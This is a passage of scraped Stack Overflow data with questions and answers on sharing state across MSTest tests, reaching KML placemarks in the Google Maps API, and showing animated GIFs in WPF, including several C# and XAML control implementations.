"text": "<p>You could share information across tests by storing it in class-level static fields or properties instead of TestContext. That way, there's only one copy. Additionally, anything one test puts into these fields or properties would be available to any subsequent tests.</p>\n\n<p>Having said that... ordered and/or inter-dependent tests are still evil.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210837",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28413/"
] |
How do I share state amongst TestMethods in MSTest. These tests would be run as Ordered Tests and in sequence.
```
private TestContext testContext;
public TestContext TestContext
{
get { return this.testContext; }
set { this.testContext = value;}
}
[TestMethod]
public void Subscribe()
{
bool subscribed = true;
TestContext.Properties.Add("subscribed", subscribed);
Assert.IsTrue(subscribed == true, string.Format("Subscribed...{0}", this.GetHashCode()));
}
[TestMethod]
public void GenerateEvent()
{
bool subscribed = (bool)TestContext.Properties["subscribed"];
Assert.IsTrue(subscribed == true, string.Format("Subscribed...{0}", this.GetHashCode()));
}
```
Thanks in advance.
|
Vyas, I agree with Chad that you're still doing it wrong.
That said, you can look into using the TestContext object.
See <http://blogs.msdn.com/vstsqualitytools/archive/2006/01/10/511030.aspx>
|
210,881 |
<p>I have a KML file overlay on an embedded Google Map using the GGeoXml object. I'd like to be able to access specific placemarks in the KML file from Javascript (for example to highlight a selected polygon on the map in response to user action). </p>
<p>Ideally what I'd like to do is something like this (pseudo-code):</p>
<pre><code> geoXml.getPlacemarkByName('Foo').focus();
</code></pre>
<p>Unforunately the <a href="http://code.google.com/apis/maps/documentation/reference.html#GGeoXml" rel="nofollow noreferrer">Google Maps API</a> doesn't seem to expose the placemarks or any other internals of the KML overlay. Does anyone have any thoughts as to how I might accomplish this? I don't know anything about how the overlays are implemented internally, but it seems like there might be a hack that would let me do this.</p>
<p>I'm also using jQuery FWIW.</p>
|
[
{
"answer_id": 219828,
"author": "Thedric Walker",
"author_id": 26166,
"author_profile": "https://Stackoverflow.com/users/26166",
"pm_score": 2,
"selected": false,
"text": "<p>Have you looked at <a href=\"http://www.dyasdesigns.com/geoxml/\" rel=\"nofollow noreferrer\">GeoXML</a>?</p>\n"
},
{
"answer_id": 375726,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 2,
"selected": false,
"text": "<p>There does not seem to be an easy solution to this problem since Google doesn't provide the answer in the API. The only method I have found to get access to individual placemarks is to \"capture\" them when they are added to the map. In order to do this you have to set an 'addoverlay' listener on the map object. Something like this:</p>\n\n<pre><code>GEvent.addListener(map, 'addoverlay', function(o) {\n kmlmarkers.push(o);\n}\n</code></pre>\n\n<p>However, I couldn't figure out a way to get the id of the placemark out of the marker object. Therefore the only way I was able to access specific placemarks was to loop through the array and match the markers with my data based upon the coordinates. It's not a real elegant solution but is was the only way that I was able to make it work.</p>\n"
},
{
"answer_id": 422581,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>You can figure that out by simply looking into the object as follows:</p>\n\n<pre><code>GEvent.addListener(map, 'addoverlay', function(obj)\n{ if (!obj) {\n alert(\"Cannot describe a null object\");\n return;\n }\n var str = \"\";\n\n for ( var prop in obj) {\n str += prop + \" = \" + obj[prop] + \",\\n\";\n }\n alert(str);\n });\n</code></pre>\n\n<p>That should help...</p>\n"
},
{
"answer_id": 1442636,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>Look at Kml Update. You will need a placeark ID. </p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210881",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/239663/"
] |
I have a KML file overlay on an embedded Google Map using the GGeoXml object. I'd like to be able to access specific placemarks in the KML file from Javascript (for example to highlight a selected polygon on the map in response to user action).
Ideally what I'd like to do is something like this (pseudo-code):
```
geoXml.getPlacemarkByName('Foo').focus();
```
Unforunately the [Google Maps API](http://code.google.com/apis/maps/documentation/reference.html#GGeoXml) doesn't seem to expose the placemarks or any other internals of the KML overlay. Does anyone have any thoughts as to how I might accomplish this? I don't know anything about how the overlays are implemented internally, but it seems like there might be a hack that would let me do this.
I'm also using jQuery FWIW.
|
Have you looked at [GeoXML](http://www.dyasdesigns.com/geoxml/)?
|
210,922 |
<p>What control type should I use - <code>Image</code>, <code>MediaElement</code>, etc.?</p>
|
[
{
"answer_id": 213786,
"author": "Joel B Fant",
"author_id": 22211,
"author_profile": "https://Stackoverflow.com/users/22211",
"pm_score": 5,
"selected": false,
"text": "<p>I, too, did a search and found several different solution in just a thread on the old MSDN forums. (link no longer worked so I removed it)</p>\n\n<p>The simplest to execute seems to be to use a WinForms <code>PictureBox</code> control, and went like this (changed a few things from the thread, most of it the same).</p>\n\n<p>Add a reference to <code>System.Windows.Forms</code>, <code>WindowsFormsIntegration</code>, and <code>System.Drawing</code> to your project first.</p>\n\n<pre><code><Window x:Class=\"GifExample.Window1\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n xmlns:wfi=\"clr-namespace:System.Windows.Forms.Integration;assembly=WindowsFormsIntegration\"\n xmlns:winForms=\"clr-namespace:System.Windows.Forms;assembly=System.Windows.Forms\"\n Loaded=\"Window_Loaded\" >\n <Grid>\n <wfi:WindowsFormsHost>\n <winForms:PictureBox x:Name=\"pictureBoxLoading\">\n </winForms:PictureBox>\n </wfi:WindowsFormsHost>\n </Grid>\n</Window >\n</code></pre>\n\n<p>Then in the <code>Window_Loaded</code> handler, you would set the <code>pictureBoxLoading.ImageLocation</code> property to the image file path that you want to show.</p>\n\n<pre><code>private void Window_Loaded(object sender, RoutedEventArgs e)\n{\n pictureBoxLoading.ImageLocation = \"../Images/mygif.gif\";\n}\n</code></pre>\n\n<p>The <code>MediaElement</code> control was mentioned in that thread, but it is also mentioned that it is a rather heavy control, so there were a number of alternatives, including at least 2 homebrewed controls based on the <code>Image</code> control, so this is the simplest.</p>\n"
},
{
"answer_id": 1134340,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 7,
"selected": false,
"text": "<p>I post a solution extending the image control and using the Gif Decoder. The gif decoder has a frames property. I animate the <code>FrameIndex</code> property. The event <code>ChangingFrameIndex</code> changes the source property to the frame corresponding to the <code>FrameIndex</code> (that is in the decoder). I guess that the gif has 10 frames per second.</p>\n\n<pre><code>class GifImage : Image\n{\n private bool _isInitialized;\n private GifBitmapDecoder _gifDecoder;\n private Int32Animation _animation;\n\n public int FrameIndex\n {\n get { return (int)GetValue(FrameIndexProperty); }\n set { SetValue(FrameIndexProperty, value); }\n }\n\n private void Initialize()\n {\n _gifDecoder = new GifBitmapDecoder(new Uri(\"pack://application:,,,\" + this.GifSource), BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.Default);\n _animation = new Int32Animation(0, _gifDecoder.Frames.Count - 1, new Duration(new TimeSpan(0, 0, 0, _gifDecoder.Frames.Count / 10, (int)((_gifDecoder.Frames.Count / 10.0 - _gifDecoder.Frames.Count / 10) * 1000))));\n _animation.RepeatBehavior = RepeatBehavior.Forever;\n this.Source = _gifDecoder.Frames[0];\n\n _isInitialized = true;\n }\n\n static GifImage()\n {\n VisibilityProperty.OverrideMetadata(typeof (GifImage),\n new FrameworkPropertyMetadata(VisibilityPropertyChanged));\n }\n\n private static void VisibilityPropertyChanged(DependencyObject sender, DependencyPropertyChangedEventArgs e)\n {\n if ((Visibility)e.NewValue == Visibility.Visible)\n {\n ((GifImage)sender).StartAnimation();\n }\n else\n {\n ((GifImage)sender).StopAnimation();\n }\n }\n\n public static readonly DependencyProperty FrameIndexProperty =\n DependencyProperty.Register(\"FrameIndex\", typeof(int), typeof(GifImage), new UIPropertyMetadata(0, new PropertyChangedCallback(ChangingFrameIndex)));\n\n static void ChangingFrameIndex(DependencyObject obj, DependencyPropertyChangedEventArgs ev)\n {\n var gifImage = obj as GifImage;\n gifImage.Source = gifImage._gifDecoder.Frames[(int)ev.NewValue];\n }\n\n /// <summary>\n /// Defines whether the animation starts on it's own\n /// </summary>\n public bool AutoStart\n {\n get { return (bool)GetValue(AutoStartProperty); }\n set { SetValue(AutoStartProperty, value); }\n }\n\n public static readonly DependencyProperty AutoStartProperty =\n DependencyProperty.Register(\"AutoStart\", typeof(bool), typeof(GifImage), new UIPropertyMetadata(false, AutoStartPropertyChanged));\n\n private static void AutoStartPropertyChanged(DependencyObject sender, DependencyPropertyChangedEventArgs e)\n {\n if ((bool)e.NewValue)\n (sender as GifImage).StartAnimation();\n }\n\n public string GifSource\n {\n get { return (string)GetValue(GifSourceProperty); }\n set { SetValue(GifSourceProperty, value); }\n }\n\n public static readonly DependencyProperty GifSourceProperty =\n DependencyProperty.Register(\"GifSource\", typeof(string), typeof(GifImage), new UIPropertyMetadata(string.Empty, GifSourcePropertyChanged));\n\n private static void GifSourcePropertyChanged(DependencyObject sender, DependencyPropertyChangedEventArgs e)\n {\n (sender as GifImage).Initialize();\n }\n\n /// <summary>\n /// Starts the animation\n /// </summary>\n public void StartAnimation()\n {\n if (!_isInitialized)\n this.Initialize();\n\n BeginAnimation(FrameIndexProperty, _animation);\n }\n\n /// <summary>\n /// Stops the animation\n /// </summary>\n public void StopAnimation()\n {\n BeginAnimation(FrameIndexProperty, null);\n }\n}\n</code></pre>\n\n<p>Usage example (XAML):</p>\n\n<pre><code><controls:GifImage x:Name=\"gifImage\" Stretch=\"None\" GifSource=\"/SomeImage.gif\" AutoStart=\"True\" />\n</code></pre>\n"
},
{
"answer_id": 1660225,
"author": "Mike Eshva",
"author_id": 156991,
"author_profile": "https://Stackoverflow.com/users/156991",
"pm_score": 4,
"selected": false,
"text": "<p>Here is my version of animated image control. You can use standard property Source for specifying image source. I further improved it. I am a russian, project is russian so comments are also in Russian. But anyway you should be able understand everything without comments. :)</p>\n\n<pre><code>/// <summary>\n/// Control the \"Images\", which supports animated GIF.\n/// </summary>\npublic class AnimatedImage : Image\n{\n #region Public properties\n\n /// <summary>\n /// Gets / sets the number of the current frame.\n /// </summary>\n public int FrameIndex\n {\n get { return (int) GetValue(FrameIndexProperty); }\n set { SetValue(FrameIndexProperty, value); }\n }\n\n /// <summary>\n /// Gets / sets the image that will be drawn.\n /// </summary>\n public new ImageSource Source\n {\n get { return (ImageSource) GetValue(SourceProperty); }\n set { SetValue(SourceProperty, value); }\n }\n\n #endregion\n\n #region Protected interface\n\n /// <summary>\n /// Provides derived classes an opportunity to handle changes to the Source property.\n /// </summary>\n protected virtual void OnSourceChanged(DependencyPropertyChangedEventArgs aEventArgs)\n {\n ClearAnimation();\n\n BitmapImage lBitmapImage = aEventArgs.NewValue as BitmapImage;\n\n if (lBitmapImage == null)\n {\n ImageSource lImageSource = aEventArgs.NewValue as ImageSource;\n base.Source = lImageSource;\n return;\n }\n\n if (!IsAnimatedGifImage(lBitmapImage))\n {\n base.Source = lBitmapImage;\n return;\n }\n\n PrepareAnimation(lBitmapImage);\n }\n\n #endregion\n\n #region Private properties\n\n private Int32Animation Animation { get; set; }\n private GifBitmapDecoder Decoder { get; set; }\n private bool IsAnimationWorking { get; set; }\n\n #endregion\n\n #region Private methods\n\n private void ClearAnimation()\n {\n if (Animation != null)\n {\n BeginAnimation(FrameIndexProperty, null);\n }\n\n IsAnimationWorking = false;\n Animation = null;\n Decoder = null;\n }\n\n private void PrepareAnimation(BitmapImage aBitmapImage)\n {\n Debug.Assert(aBitmapImage != null);\n\n if (aBitmapImage.UriSource != null)\n {\n Decoder = new GifBitmapDecoder(\n aBitmapImage.UriSource,\n BitmapCreateOptions.PreservePixelFormat,\n BitmapCacheOption.Default);\n }\n else\n {\n aBitmapImage.StreamSource.Position = 0;\n Decoder = new GifBitmapDecoder(\n aBitmapImage.StreamSource,\n BitmapCreateOptions.PreservePixelFormat,\n BitmapCacheOption.Default);\n }\n\n Animation =\n new Int32Animation(\n 0,\n Decoder.Frames.Count - 1,\n new Duration(\n new TimeSpan(\n 0,\n 0,\n 0,\n Decoder.Frames.Count / 10,\n (int) ((Decoder.Frames.Count / 10.0 - Decoder.Frames.Count / 10) * 1000))))\n {\n RepeatBehavior = RepeatBehavior.Forever\n };\n\n base.Source = Decoder.Frames[0];\n BeginAnimation(FrameIndexProperty, Animation);\n IsAnimationWorking = true;\n }\n\n private bool IsAnimatedGifImage(BitmapImage aBitmapImage)\n {\n Debug.Assert(aBitmapImage != null);\n\n bool lResult = false;\n if (aBitmapImage.UriSource != null)\n {\n BitmapDecoder lBitmapDecoder = BitmapDecoder.Create(\n aBitmapImage.UriSource,\n BitmapCreateOptions.PreservePixelFormat,\n BitmapCacheOption.Default);\n lResult = lBitmapDecoder is GifBitmapDecoder;\n }\n else if (aBitmapImage.StreamSource != null)\n {\n try\n {\n long lStreamPosition = aBitmapImage.StreamSource.Position;\n aBitmapImage.StreamSource.Position = 0;\n GifBitmapDecoder lBitmapDecoder =\n new GifBitmapDecoder(\n aBitmapImage.StreamSource,\n BitmapCreateOptions.PreservePixelFormat,\n BitmapCacheOption.Default);\n lResult = lBitmapDecoder.Frames.Count > 1;\n\n aBitmapImage.StreamSource.Position = lStreamPosition;\n }\n catch\n {\n lResult = false;\n }\n }\n\n return lResult;\n }\n\n private static void ChangingFrameIndex\n (DependencyObject aObject, DependencyPropertyChangedEventArgs aEventArgs)\n {\n AnimatedImage lAnimatedImage = aObject as AnimatedImage;\n\n if (lAnimatedImage == null || !lAnimatedImage.IsAnimationWorking)\n {\n return;\n }\n\n int lFrameIndex = (int) aEventArgs.NewValue;\n ((Image) lAnimatedImage).Source = lAnimatedImage.Decoder.Frames[lFrameIndex];\n lAnimatedImage.InvalidateVisual();\n }\n\n /// <summary>\n /// Handles changes to the Source property.\n /// </summary>\n private static void OnSourceChanged\n (DependencyObject aObject, DependencyPropertyChangedEventArgs aEventArgs)\n {\n ((AnimatedImage) aObject).OnSourceChanged(aEventArgs);\n }\n\n #endregion\n\n #region Dependency Properties\n\n /// <summary>\n /// FrameIndex Dependency Property\n /// </summary>\n public static readonly DependencyProperty FrameIndexProperty =\n DependencyProperty.Register(\n \"FrameIndex\",\n typeof (int),\n typeof (AnimatedImage),\n new UIPropertyMetadata(0, ChangingFrameIndex));\n\n /// <summary>\n /// Source Dependency Property\n /// </summary>\n public new static readonly DependencyProperty SourceProperty =\n DependencyProperty.Register(\n \"Source\",\n typeof (ImageSource),\n typeof (AnimatedImage),\n new FrameworkPropertyMetadata(\n null,\n FrameworkPropertyMetadataOptions.AffectsRender |\n FrameworkPropertyMetadataOptions.AffectsMeasure,\n OnSourceChanged));\n\n #endregion\n}\n</code></pre>\n"
},
{
"answer_id": 2614025,
"author": "Ken",
"author_id": 313536,
"author_profile": "https://Stackoverflow.com/users/313536",
"pm_score": 3,
"selected": false,
"text": "<p>I modified Mike Eshva's code,And I made it work better.You can use it with either 1frame jpg png bmp or mutil-frame gif.If you want bind a uri to the control,bind the UriSource properties or you want bind any in-memory stream that you bind the Source propertie which is a BitmapImage.</p>\n\n<pre><code> /// <summary> \n/// Элемент управления \"Изображения\", поддерживающий анимированные GIF. \n/// </summary> \npublic class AnimatedImage : Image\n{\n static AnimatedImage()\n {\n DefaultStyleKeyProperty.OverrideMetadata(typeof(AnimatedImage), new FrameworkPropertyMetadata(typeof(AnimatedImage)));\n }\n\n #region Public properties\n\n /// <summary> \n /// Получает/устанавливает номер текущего кадра. \n /// </summary> \n public int FrameIndex\n {\n get { return (int)GetValue(FrameIndexProperty); }\n set { SetValue(FrameIndexProperty, value); }\n }\n\n /// <summary>\n /// Get the BitmapFrame List.\n /// </summary>\n public List<BitmapFrame> Frames { get; private set; }\n\n /// <summary>\n /// Get or set the repeatBehavior of the animation when source is gif formart.This is a dependency object.\n /// </summary>\n public RepeatBehavior AnimationRepeatBehavior\n {\n get { return (RepeatBehavior)GetValue(AnimationRepeatBehaviorProperty); }\n set { SetValue(AnimationRepeatBehaviorProperty, value); }\n }\n\n public new BitmapImage Source\n {\n get { return (BitmapImage)GetValue(SourceProperty); }\n set { SetValue(SourceProperty, value); }\n }\n\n public Uri UriSource\n {\n get { return (Uri)GetValue(UriSourceProperty); }\n set { SetValue(UriSourceProperty, value); }\n }\n\n #endregion\n\n #region Protected interface\n\n /// <summary> \n /// Provides derived classes an opportunity to handle changes to the Source property. \n /// </summary> \n protected virtual void OnSourceChanged(DependencyPropertyChangedEventArgs e)\n {\n ClearAnimation();\n BitmapImage source;\n if (e.NewValue is Uri)\n {\n source = new BitmapImage();\n source.BeginInit();\n source.UriSource = e.NewValue as Uri;\n source.CacheOption = BitmapCacheOption.OnLoad;\n source.EndInit();\n }\n else if (e.NewValue is BitmapImage)\n {\n source = e.NewValue as BitmapImage;\n }\n else\n {\n return;\n }\n BitmapDecoder decoder;\n if (source.StreamSource != null)\n {\n decoder = BitmapDecoder.Create(source.StreamSource, BitmapCreateOptions.DelayCreation, BitmapCacheOption.OnLoad);\n }\n else if (source.UriSource != null)\n {\n decoder = BitmapDecoder.Create(source.UriSource, BitmapCreateOptions.DelayCreation, BitmapCacheOption.OnLoad);\n }\n else\n {\n return;\n }\n if (decoder.Frames.Count == 1)\n {\n base.Source = decoder.Frames[0];\n return;\n }\n\n this.Frames = decoder.Frames.ToList();\n\n PrepareAnimation();\n }\n\n #endregion\n\n #region Private properties\n\n private Int32Animation Animation { get; set; }\n private bool IsAnimationWorking { get; set; }\n\n #endregion\n\n #region Private methods\n\n private void ClearAnimation()\n {\n if (Animation != null)\n {\n BeginAnimation(FrameIndexProperty, null);\n }\n\n IsAnimationWorking = false;\n Animation = null;\n this.Frames = null;\n }\n\n private void PrepareAnimation()\n {\n Animation =\n new Int32Animation(\n 0,\n this.Frames.Count - 1,\n new Duration(\n new TimeSpan(\n 0,\n 0,\n 0,\n this.Frames.Count / 10,\n (int)((this.Frames.Count / 10.0 - this.Frames.Count / 10) * 1000))))\n {\n RepeatBehavior = RepeatBehavior.Forever\n };\n\n base.Source = this.Frames[0];\n BeginAnimation(FrameIndexProperty, Animation);\n IsAnimationWorking = true;\n }\n\n private static void ChangingFrameIndex\n (DependencyObject dp, DependencyPropertyChangedEventArgs e)\n {\n AnimatedImage animatedImage = dp as AnimatedImage;\n\n if (animatedImage == null || !animatedImage.IsAnimationWorking)\n {\n return;\n }\n\n int frameIndex = (int)e.NewValue;\n ((Image)animatedImage).Source = animatedImage.Frames[frameIndex];\n animatedImage.InvalidateVisual();\n }\n\n /// <summary> \n /// Handles changes to the Source property. \n /// </summary> \n private static void OnSourceChanged\n (DependencyObject dp, DependencyPropertyChangedEventArgs e)\n {\n ((AnimatedImage)dp).OnSourceChanged(e);\n }\n\n #endregion\n\n #region Dependency Properties\n\n /// <summary> \n /// FrameIndex Dependency Property \n /// </summary> \n public static readonly DependencyProperty FrameIndexProperty =\n DependencyProperty.Register(\n \"FrameIndex\",\n typeof(int),\n typeof(AnimatedImage),\n new UIPropertyMetadata(0, ChangingFrameIndex));\n\n /// <summary> \n /// Source Dependency Property \n /// </summary> \n public new static readonly DependencyProperty SourceProperty =\n DependencyProperty.Register(\n \"Source\",\n typeof(BitmapImage),\n typeof(AnimatedImage),\n new FrameworkPropertyMetadata(\n null,\n FrameworkPropertyMetadataOptions.AffectsRender |\n FrameworkPropertyMetadataOptions.AffectsMeasure,\n OnSourceChanged));\n\n /// <summary>\n /// AnimationRepeatBehavior Dependency Property\n /// </summary>\n public static readonly DependencyProperty AnimationRepeatBehaviorProperty =\n DependencyProperty.Register(\n \"AnimationRepeatBehavior\",\n typeof(RepeatBehavior),\n typeof(AnimatedImage),\n new PropertyMetadata(null));\n\n public static readonly DependencyProperty UriSourceProperty =\n DependencyProperty.Register(\n \"UriSource\",\n typeof(Uri),\n typeof(AnimatedImage),\n new FrameworkPropertyMetadata(\n null,\n FrameworkPropertyMetadataOptions.AffectsRender |\n FrameworkPropertyMetadataOptions.AffectsMeasure,\n OnSourceChanged));\n\n #endregion\n}\n</code></pre>\n\n<p>This is a custom control. You need to create it in WPF App Project,and delete the Template override in style.</p>\n"
},
{
"answer_id": 3625400,
"author": "MrPloops",
"author_id": 437737,
"author_profile": "https://Stackoverflow.com/users/437737",
"pm_score": 5,
"selected": false,
"text": "<p>How about this tiny app:\nCode behind:</p>\n\n<pre><code>public MainWindow()\n{\n InitializeComponent();\n Files = Directory.GetFiles(@\"I:\\images\");\n this.DataContext= this;\n}\npublic string[] Files\n{get;set;}\n</code></pre>\n\n<p>XAML:</p>\n\n<pre><code><Window x:Class=\"PicViewer.MainWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n Title=\"MainWindow\" Height=\"350\" Width=\"525\">\n <Grid>\n <Grid.ColumnDefinitions>\n <ColumnDefinition Width=\"175\" />\n <ColumnDefinition Width=\"*\" />\n </Grid.ColumnDefinitions>\n <ListBox x:Name=\"lst\" ItemsSource=\"{Binding Path=Files}\"/>\n <MediaElement Grid.Column=\"1\" LoadedBehavior=\"Play\" Source=\"{Binding ElementName=lst, Path=SelectedItem}\" Stretch=\"None\"/>\n </Grid>\n</Window>\n</code></pre>\n"
},
{
"answer_id": 5519381,
"author": "CodeMouse92",
"author_id": 472647,
"author_profile": "https://Stackoverflow.com/users/472647",
"pm_score": 2,
"selected": false,
"text": "<p>I had this issue, until I discovered that in WPF4, you can simulate your own keyframe image animations. First, split your animation into a series of images, title them something like \"Image1.gif\", \"Image2,gif\", and so on. Import those images into your solution resources. I'm assuming you put them in the default resource location for images.</p>\n\n<p>You are going to use the Image control. Use the following XAML code. I've removed the non-essentials.</p>\n\n<pre><code><Image Name=\"Image1\">\n <Image.Triggers>\n <EventTrigger RoutedEvent=\"Image.Loaded\"\n <EventTrigger.Actions>\n <BeginStoryboard>\n <Storyboard>\n <ObjectAnimationUsingKeyFrames Duration=\"0:0:1\" Storyboard.TargetProperty=\"Source\" RepeatBehavior=\"Forever\">\n <DiscreteObjectKeyFrames KeyTime=\"0:0:0\">\n <DiscreteObjectKeyFrame.Value>\n <BitmapImage UriSource=\"Images/Image1.gif\"/>\n </DiscreteObjectKeyFrame.Value>\n </DiscreteObjectKeyFrames>\n <DiscreteObjectKeyFrames KeyTime=\"0:0:0.25\">\n <DiscreteObjectKeyFrame.Value>\n <BitmapImage UriSource=\"Images/Image2.gif\"/>\n </DiscreteObjectKeyFrame.Value>\n </DiscreteObjectKeyFrames>\n <DiscreteObjectKeyFrames KeyTime=\"0:0:0.5\">\n <DiscreteObjectKeyFrame.Value>\n <BitmapImage UriSource=\"Images/Image3.gif\"/>\n </DiscreteObjectKeyFrame.Value>\n </DiscreteObjectKeyFrames>\n <DiscreteObjectKeyFrames KeyTime=\"0:0:0.75\">\n <DiscreteObjectKeyFrame.Value>\n <BitmapImage UriSource=\"Images/Image4.gif\"/>\n </DiscreteObjectKeyFrame.Value>\n </DiscreteObjectKeyFrames>\n <DiscreteObjectKeyFrames KeyTime=\"0:0:1\">\n <DiscreteObjectKeyFrame.Value>\n <BitmapImage UriSource=\"Images/Image5.gif\"/>\n </DiscreteObjectKeyFrame.Value>\n </DiscreteObjectKeyFrames>\n </ObjectAnimationUsingKeyFrames>\n </Storyboard>\n </BeginStoryboard>\n </EventTrigger.Actions>\n </EventTrigger>\n </Image.Triggers>\n</Image>\n</code></pre>\n"
},
{
"answer_id": 6525750,
"author": "sondlerd",
"author_id": 329133,
"author_profile": "https://Stackoverflow.com/users/329133",
"pm_score": 2,
"selected": false,
"text": "<p>Thanks for your post Joel, it helped me solve WPF's absence of support for animated GIFs. Just adding a little code since I had a heck of a time with setting the pictureBoxLoading.Image property due to the Winforms api. </p>\n\n<p>I had to set my animated gif image's Build Action as \"Content\" and the Copy to output directory to \"Copy if newer\" or \"always\". Then in the MainWindow() I called this method. Only issue is that when I tried to dispose of the stream, it gave me a red envelope graphic instead of my image. I'll have to solve that problem. This removed the pain of loading a BitmapImage and changing it into a Bitmap (which obviously killed my animation because it is no longer a gif).</p>\n\n<pre><code>private void SetupProgressIcon()\n{\n Uri uri = new Uri(\"pack://application:,,,/WPFTest;component/Images/animated_progress_apple.gif\");\n if (uri != null)\n {\n Stream stream = Application.GetContentStream(uri).Stream; \n imgProgressBox.Image = new System.Drawing.Bitmap(stream);\n }\n}\n</code></pre>\n"
},
{
"answer_id": 6714692,
"author": "Lynn",
"author_id": 369401,
"author_profile": "https://Stackoverflow.com/users/369401",
"pm_score": 3,
"selected": false,
"text": "<p>Basically the same PictureBox solution above, but this time with the code-behind to use an Embedded Resource in your project:</p>\n\n<p>In XAML:</p>\n\n<pre><code><WindowsFormsHost x:Name=\"_loadingHost\">\n <Forms:PictureBox x:Name=\"_loadingPictureBox\"/>\n</WindowsFormsHost>\n</code></pre>\n\n<p>In Code-Behind:</p>\n\n<pre><code>public partial class ProgressIcon\n{\n public ProgressIcon()\n {\n InitializeComponent();\n var stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(\"My.Namespace.ProgressIcon.gif\");\n var image = System.Drawing.Image.FromStream(stream);\n Loaded += (s, e) => _loadingPictureBox.Image = image;\n }\n}\n</code></pre>\n"
},
{
"answer_id": 11034008,
"author": "Igor Vaschuk",
"author_id": 154664,
"author_profile": "https://Stackoverflow.com/users/154664",
"pm_score": 8,
"selected": false,
"text": "<p>I couldn't get the most popular answer to this question (above by Dario) to work properly. The result was weird, choppy animation with weird artifacts.\nBest solution I have found so far:\n<a href=\"https://github.com/XamlAnimatedGif/WpfAnimatedGif\" rel=\"noreferrer\">https://github.com/XamlAnimatedGif/WpfAnimatedGif</a></p>\n\n<p>You can install it with NuGet</p>\n\n<p><code>PM> Install-Package WpfAnimatedGif</code></p>\n\n<p>and to use it, at a new namespace to the Window where you want to add the gif image and use it as below</p>\n\n<pre><code><Window x:Class=\"MainWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n xmlns:gif=\"http://wpfanimatedgif.codeplex.com\" <!-- THIS NAMESPACE -->\n Title=\"MainWindow\" Height=\"350\" Width=\"525\">\n\n<Grid>\n <!-- EXAMPLE USAGE BELOW -->\n <Image gif:ImageBehavior.AnimatedSource=\"Images/animated.gif\" />\n</code></pre>\n\n<p>The package is really neat, you can set some attributes like below </p>\n\n<pre><code><Image gif:ImageBehavior.RepeatBehavior=\"3x\"\n gif:ImageBehavior.AnimatedSource=\"Images/animated.gif\" />\n</code></pre>\n\n<p>and you can use it in your code as well:</p>\n\n<pre><code>var image = new BitmapImage();\nimage.BeginInit();\nimage.UriSource = new Uri(fileName);\nimage.EndInit();\nImageBehavior.SetAnimatedSource(img, image);\n</code></pre>\n\n<p><strong>EDIT: Silverlight support</strong></p>\n\n<p>As per josh2112's comment if you want to add animated GIF support to your Silverlight project then use <a href=\"http://github.com/XamlAnimatedGif/XamlAnimatedGif\" rel=\"noreferrer\">github.com/XamlAnimatedGif/XamlAnimatedGif</a> </p>\n"
},
{
"answer_id": 19541853,
"author": "Super AquaMen",
"author_id": 2755349,
"author_profile": "https://Stackoverflow.com/users/2755349",
"pm_score": 0,
"selected": false,
"text": "<p>Previously, I faced a similar problem, I needed to play <code>.gif</code> file in your project. I had two choices:</p>\n\n<ul>\n<li><p>using PictureBox from WinForms</p></li>\n<li><p>using a third-party library, such as WPFAnimatedGif from <a href=\"http://wpfanimatedgif.codeplex.com/\" rel=\"nofollow\">codeplex.com.</a></p></li>\n</ul>\n\n<p>Version with <code>PictureBox</code> did not work for me, and the project could not use external libraries for it. So I made it for myself through <code>Bitmap</code> with help <code>ImageAnimator</code>. Because, standard <code>BitmapImage</code> does not support playback of <code>.gif</code> files.</p>\n\n<p>Full example:</p>\n\n<p><strong><code>XAML</code></strong></p>\n\n<pre><code><Window x:Class=\"PlayGifHelp.MainWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n Title=\"MainWindow\" Height=\"350\" Width=\"525\" Loaded=\"MainWindow_Loaded\">\n\n <Grid>\n <Image x:Name=\"SampleImage\" />\n </Grid>\n</Window>\n</code></pre>\n\n<p><strong><code>Code behind</code></strong></p>\n\n<pre><code>public partial class MainWindow : Window\n{\n public MainWindow()\n {\n InitializeComponent();\n }\n\n Bitmap _bitmap;\n BitmapSource _source;\n\n private BitmapSource GetSource()\n {\n if (_bitmap == null)\n {\n string path = Directory.GetCurrentDirectory();\n\n // Check the path to the .gif file\n _bitmap = new Bitmap(path + @\"\\anim.gif\");\n }\n\n IntPtr handle = IntPtr.Zero;\n handle = _bitmap.GetHbitmap();\n\n return Imaging.CreateBitmapSourceFromHBitmap(handle, IntPtr.Zero, Int32Rect.Empty, BitmapSizeOptions.FromEmptyOptions());\n }\n\n private void MainWindow_Loaded(object sender, RoutedEventArgs e)\n {\n _source = GetSource();\n SampleImage.Source = _source;\n ImageAnimator.Animate(_bitmap, OnFrameChanged);\n }\n\n private void FrameUpdatedCallback()\n {\n ImageAnimator.UpdateFrames();\n\n if (_source != null)\n {\n _source.Freeze();\n }\n\n _source = GetSource();\n\n SampleImage.Source = _source;\n InvalidateVisual();\n }\n\n private void OnFrameChanged(object sender, EventArgs e)\n {\n Dispatcher.BeginInvoke(DispatcherPriority.Normal, new Action(FrameUpdatedCallback));\n }\n}\n</code></pre>\n\n<p><code>Bitmap</code> does not support <em>URI</em> directive, so I load <code>.gif</code> file from the current directory.</p>\n"
},
{
"answer_id": 20238016,
"author": "Chobits",
"author_id": 2195923,
"author_profile": "https://Stackoverflow.com/users/2195923",
"pm_score": 1,
